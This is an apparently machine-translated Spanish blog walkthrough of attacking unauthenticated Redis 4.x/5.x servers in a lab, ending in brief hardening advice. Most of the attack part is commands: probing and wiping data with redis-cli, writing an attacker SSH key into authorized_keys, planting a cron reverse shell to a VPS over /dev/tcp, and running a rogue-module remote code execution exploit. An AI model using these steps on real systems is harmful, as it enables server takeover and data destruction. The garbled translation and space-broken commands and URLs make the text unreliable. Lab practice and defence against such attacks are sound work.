Vulnerabilidad de acceso no autorizado de Redis 4.x / 5.x

¿Qué es Redis?

Redis es una base de datos, un sistema de almacenamiento de valor clave de alto rendimiento, escrito en lenguaje ANSI C.

Vulnerabilidad de acceso no autorizado de Redis

De forma predeterminada, Redis estará vinculado a 0.0.0.0:6379. Si no se adoptan políticas relevantes, como agregar reglas de firewall para evitar el acceso IP desde otras fuentes no confiables, esto expondrá el servicio Redis a la red pública. Configuración de autenticación de contraseña ( generalmente vacío) hará que cualquier usuario no esté autorizado para acceder a Redis y leer los datos de Redis cuando puedan acceder al servidor de destino.

Versión afectada

El acceso no autorizado a la versión afectada de Redis está por debajo de la versión 4.x / 5.0.5

Medios de ataque

1. Acceso directo no autorizado, operaciones en la base de datos de redis
2. Inicio de sesión sin clave SSH (con mapa mental)
3. Escriba un shell en la base de datos de redis, que es similar al segundo punto de condiciones e ideas
4. Escriba en un rebote shell, establezca el tiempo de rebote para rebotar.
5. Utilice exp existente

alrededores

La máquina de ataque es 192.168.10.144 y la máquina de destino es 192.168.10.158
. Tanto la máquina de ataque como la de destino necesitan instalar el entorno de redis.

Descarga de la herramienta de ataque

  • Descargue el paquete comprimido
    wget http://download.redis.io/releases/redis-4.0.11.tar.gz
  • Descomprima
    tar -zxvf redis-4.0.11.tar.gz
  • Compilar
    cd redis-4.0.11 # switch
    make # compile

Si desea usar la conexión, debe ingresar al directorio de instalación y ejecutar después ./, puede ver cómo usar la configuración
root @ kali: ~ / redis-4.0.11 / src # ./redis-cli -h

Pero la
Inserte la descripción de la imagen aquí
solución es root @ kali: ~ # sudo cp redis-4.0.11 / src / redis-cli / usr / local / bin /
(conceda a redis-cli un permiso global)
Por supuesto, el directorio de todos es diferente, así que analice de acuerdo con tu propia situación
Inserte la descripción de la imagen aquí

Preparación del entorno de vulnerabilidad de la máquina de destino: (se ha construido vulhub)

root @ kali: ~ / vulhub / redis / 4-unacc # docker-compose up -d Hasta
Inserte la descripción de la imagen aquí
ahora, el entorno ha sido construido


Recurrencia ofensiva de aviones de ataque (1)

Si se trata solo de una minería de vulnerabilidades, no tome el caparazón a fondo, simplemente siga los pasos a continuación.
Sondear un puerto 6379redis de la máquina de destino
root @ kali: ~ # nmap -p 6379 -script redis-info 192.168.10.158
Inserte la descripción de la imagen aquí

  • Conexión de acceso no autorizado

root @ kali: ~ # redis-cli -h 192.168.10.158
Como se muestra en la figura, la base de datos redis de la máquina de destino se ha conectado y algunas operaciones de la base de datos se pueden realizar en ella.

Inserte la descripción de la imagen aquí
Algunas operaciones de la base de datos redis

dbsize 查看所有key的数目
flushdb 删除当前选择数据库中的所有key
flushall 删除所有数据库中的所有key
save: 将数据同步保存到磁盘
bgsave: 异步保存
lastsave: 上次成功保存到磁盘的Unix时间戳
info: 查询server信息
config: 配置server
slaveof: 改变复制策略设置

  
   
   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

Método 2: (requiere privilegios de root) importar ssh, iniciar sesión con face key (falló

El atacante genera una contraseña vacía
root @ kali: ~ # ssh-keygen -t rsa para ssh.
Como puede ver, la contraseña generada se guarda en el directorio /.ssh y se
Inserte la descripción de la imagen aquí
cambia al directorio .ssh /. Se puede ver que rsa es de hecho una clave generada, debe copiar la clave en una
raíz de texto @ kali: ~ / .ssh # (echo -e "\ n \ n"; cat id_rsa.pub; echo -e "\ n \ n" )> AuFeng .txt
Inserte la descripción de la imagen aquí
Transmita el texto a la
raíz de la máquina de destino @ kali: ~ / .ssh # cat AuFeng.txt | redis-cli -h 192.168.10.158 -x set ok
Inserte la descripción de la imagen aquí

Luego inicie sesión en el redis de la máquina de destino y luego modifique la ruta a root / .ssh
redis-cli -h 192.168.10.158
Config set dir Al modificar la ruta, se encuentra el siguiente problema de error, lo que indica que el redis no se inicia con privilegios de root y no se puede modificar la ruta, en este caso, la vulnerabilidad no se puede utilizar.
Inserte la descripción de la imagen aquí

No hay forma, uso sudo para iniciar el entorno vulnerable en la máquina de destino, y aún falla.
Inserte la descripción de la imagen aquí
Aquí solo puedo hablar sobre la idea general si redis se opera bajo la autoridad de root:
Inserte la descripción de la imagen aquí
consulte el artículo: https: // www .freebuf.com / vuls / 162035 .html


Este artículo fue escrito por mí en mayo, y ahora es el 18 de julio. Debido al ejercicio ofensivo y defensivo, me di cuenta de que el conocimiento de redis no autorizado debe complementarse, por lo que configuré el entorno de redis en mi propio servidor y lo pensé. Cómo evitar vulnerabilidades no autorizadas de redis

Método 2: importar ssh, iniciar sesión sin clave (éxito en combate real

(echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > AuFeng.txt

  
   
   
  • 1

Inserte la descripción de la imagen aquí
root @ kali: ~ / .ssh # cat AuFeng.txt | redis-cli -h target ip -x set crack
OK,
Inserte la descripción de la imagen aquí
primero establezca dir en la ruta /root/.ssh donde ssh genera el público y la clave, y luego cargue el archivo Configúrelo en allowed_keys, luego guardar está bien, ¿por qué está configurado así? Generalmente, la ruta para que ssh genere la clave pública y estará en el directorio /root/.ssh. Generalmente, el inicio de sesión sin clave SSH son las claves_autorizadas en /root/.ssh como el archivo para el inicio de sesión de autenticación.
Inserte la descripción de la imagen aquí

Recuerda guardar el último paso, es muy importante.

Realice el inicio de sesión sin llave
Inserte la descripción de la imagen aquí


Método 3: use tareas programadas para ejecutar comandos para invertir el shell (se requieren privilegios de root)

A veces, el servidor de destino no ha utilizado ssh y no hay un directorio /.ssh, pero se puede demostrar que tiene autoridad de root con set, por lo que puede usar la tarea programada para ejecutar el comando para revertir el
Inserte la descripción de la imagen aquí
shell

/var/spool/cron/Este directorio se basa en la cuenta para distinguir el plan de ejecución propio de cada usuario. El
usuario raíz /var/spool/cron/creará el archivo raíz a continuación

set  xx   "\n* * * * * bash -i >& /dev/tcp/自己vps的ip/1234 0>&1\n"

  
   
   
  • 1

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí

Método 4 Utilice exp existente para ejecutar la ejecución remota de comandos (privilegios no root)

Acceso no autorizado a Redis En versiones anteriores a 4.x / 5.0.5, podemos usar el modo maestro / esclavo para cargar módulos remotos y ejecutar comandos arbitrarios a través de bibliotecas de enlaces dinámicos.

Los pasos son los siguientes, primero descargue el archivo exp.

root@kali:~# git clone https://github.com/vulhub/redis-rogue-getshell

  
   
   
  • 1

Luego ingrese al directorio RedisModulesSDK / para una compilación

root@kali:~/redis-rogue-getshell# cd RedisModulesSDK/
root@kali:~/redis-rogue-getshell/RedisModulesSDK# make

  
   
   
  • 1
  • 2

Finalmente presione exp directamente

root@kali:~/redis-rogue-getshell/RedisModulesSDK# python3 redis-master.py -r 192.168.10.158 -p 6379 -L 192.168.10.144 -P 8888 -f RedisModulesSDK/exp.so -c "id"

  
   
   
  • 1

Se puede ver que el permiso de operación de redis no es root.
Inserte la descripción de la imagen aquí

arrepentirse:

Se perdió mucho tiempo debido al problema de configuración del entorno y, finalmente, debido al problema del permiso de ejecución (aún no resuelto), fue imposible reproducir el uso del inicio de sesión sin llave ssh y la realización de redis reverse shell.
Artículo de referencia ( https://www.freebuf.com/column/158065.html )


Plan de reparación (reinicie redis para que surta efecto)

Reiniciar es muy importante. No significa que pueda reiniciar después de apagarlo. Las siguientes operaciones son necesarias para reiniciar normalmente

[root@localhost src]# ./redis-server ../redis.conf

  
   
   
  • 1

La operación de reparación es la siguiente:

Ingrese el archivo de configuración de redis redis.conf
ip binding, no permita que otros hosts que no sean locales inicien sesión en el servicio redis de forma remota, elimine el comentario #
Inserte la descripción de la imagen aquí

Abra el modo protegido, no permita la conexión remota al servicio de redis.
Inserte la descripción de la imagen aquí
Cambie no a sí. Modifique el puerto predeterminado.
Inserte la descripción de la imagen aquí
Ejecute el servicio de Redis con pocos privilegios (reinicie redis para que surta efecto). Experimente la
adición de autenticación de contraseña a Redis (reinicie redis para tomar efecto)

Supongo que te gusta

Origin blog.csdn.net/weixin_44110913/article/details/109487914
Recomendado
Clasificación